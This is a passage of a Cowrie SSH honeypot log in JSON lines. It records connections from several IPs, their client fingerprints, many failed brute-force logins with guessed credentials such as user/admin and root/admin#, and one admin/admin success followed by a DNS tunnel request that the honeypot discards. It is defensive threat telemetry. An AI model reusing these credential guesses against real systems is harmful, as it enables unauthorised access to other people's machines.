{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:57.484524Z","src_ip":"165.227.170.113","session":"eb6f56cae8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":33848,"dst_ip":"10.17.0.5","dst_port":22,"session":"41951ceeb3f8","protocol":"ssh","message":"New connection: 189.46.1.73:33848 (10.17.0.5:22) [session: 41951ceeb3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:01.931378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:01.935977Z","src_ip":"189.46.1.73","session":"41951ceeb3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:02.124184Z","src_ip":"189.46.1.73","session":"41951ceeb3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:02.819525Z","src_ip":"189.46.1.73","session":"41951ceeb3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:04.018805Z","src_ip":"189.46.1.73","session":"41951ceeb3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12682,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d5d523e677","protocol":"ssh","message":"New connection: 2.57.121.25:12682 (10.17.0.5:22) [session: d1d5d523e677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:30.806192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:30.811404Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:30.918781Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17031977","message":"login attempt [user/17031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:31.431231Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":59198,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf32ddecffb0","protocol":"ssh","message":"New connection: 190.242.109.42:59198 (10.17.0.5:22) [session: cf32ddecffb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:32.481225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:32.484257Z","src_ip":"190.242.109.42","session":"cf32ddecffb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021995","message":"login attempt [user/17021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:32.537795Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:32.579907Z","src_ip":"190.242.109.42","session":"cf32ddecffb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password123","message":"login attempt [test/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:32.991844Z","src_ip":"190.242.109.42","session":"cf32ddecffb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021978","message":"login attempt [user/17021978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:33.644957Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:34.086826Z","src_ip":"190.242.109.42","session":"cf32ddecffb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021974","message":"login attempt [user/17021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:34.751152Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"161085","message":"login attempt [user/161085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:35.858475Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:36.991911Z","src_ip":"2.57.121.25","session":"d1d5d523e677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":36832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2c4e8acb519","protocol":"ssh","message":"New connection: 165.227.170.113:36832 (10.17.0.5:22) [session: b2c4e8acb519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:41.816483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:41.821449Z","src_ip":"165.227.170.113","session":"b2c4e8acb519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:41.904422Z","src_ip":"165.227.170.113","session":"b2c4e8acb519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu2","password":"ubuntu2","message":"login attempt [ubuntu2/ubuntu2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:42.264977Z","src_ip":"165.227.170.113","session":"b2c4e8acb519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:43.350017Z","src_ip":"165.227.170.113","session":"b2c4e8acb519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":31559,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b721eec7e83","protocol":"ssh","message":"New connection: 74.87.117.146:31559 (10.17.0.5:22) [session: 3b721eec7e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:49.643367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:49.647857Z","src_ip":"74.87.117.146","session":"3b721eec7e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:49.672719Z","src_ip":"74.87.117.146","session":"3b721eec7e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#","message":"login attempt [root/admin#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:49.805800Z","src_ip":"74.87.117.146","session":"3b721eec7e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:51:50.833624Z","src_ip":"74.87.117.146","session":"3b721eec7e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43978,"dst_ip":"10.17.0.5","dst_port":22,"session":"456bd28c2ae4","protocol":"ssh","message":"New connection: 87.251.64.176:43978 (10.17.0.5:22) [session: 456bd28c2ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.367799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.373529Z","src_ip":"87.251.64.176","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.470489Z","src_ip":"87.251.64.176","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.763536Z","src_ip":"87.251.64.176","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.863356Z","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:08.962156Z","src_ip":"87.251.64.176","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:09.061276Z","src_ip":"87.251.64.176","session":"456bd28c2ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":48112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3bbc49066ad","protocol":"ssh","message":"New connection: 165.227.170.113:48112 (10.17.0.5:22) [session: d3bbc49066ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:27.622819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:27.627033Z","src_ip":"165.227.170.113","session":"d3bbc49066ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:27.712623Z","src_ip":"165.227.170.113","session":"d3bbc49066ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user02","message":"login attempt [root/user02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:28.074201Z","src_ip":"165.227.170.113","session":"d3bbc49066ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:29.159959Z","src_ip":"165.227.170.113","session":"d3bbc49066ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":48872,"dst_ip":"10.17.0.5","dst_port":22,"session":"54e5d4fd6d7c","protocol":"ssh","message":"New connection: 190.242.109.42:48872 (10.17.0.5:22) [session: 54e5d4fd6d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:40.474216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:40.478385Z","src_ip":"190.242.109.42","session":"54e5d4fd6d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac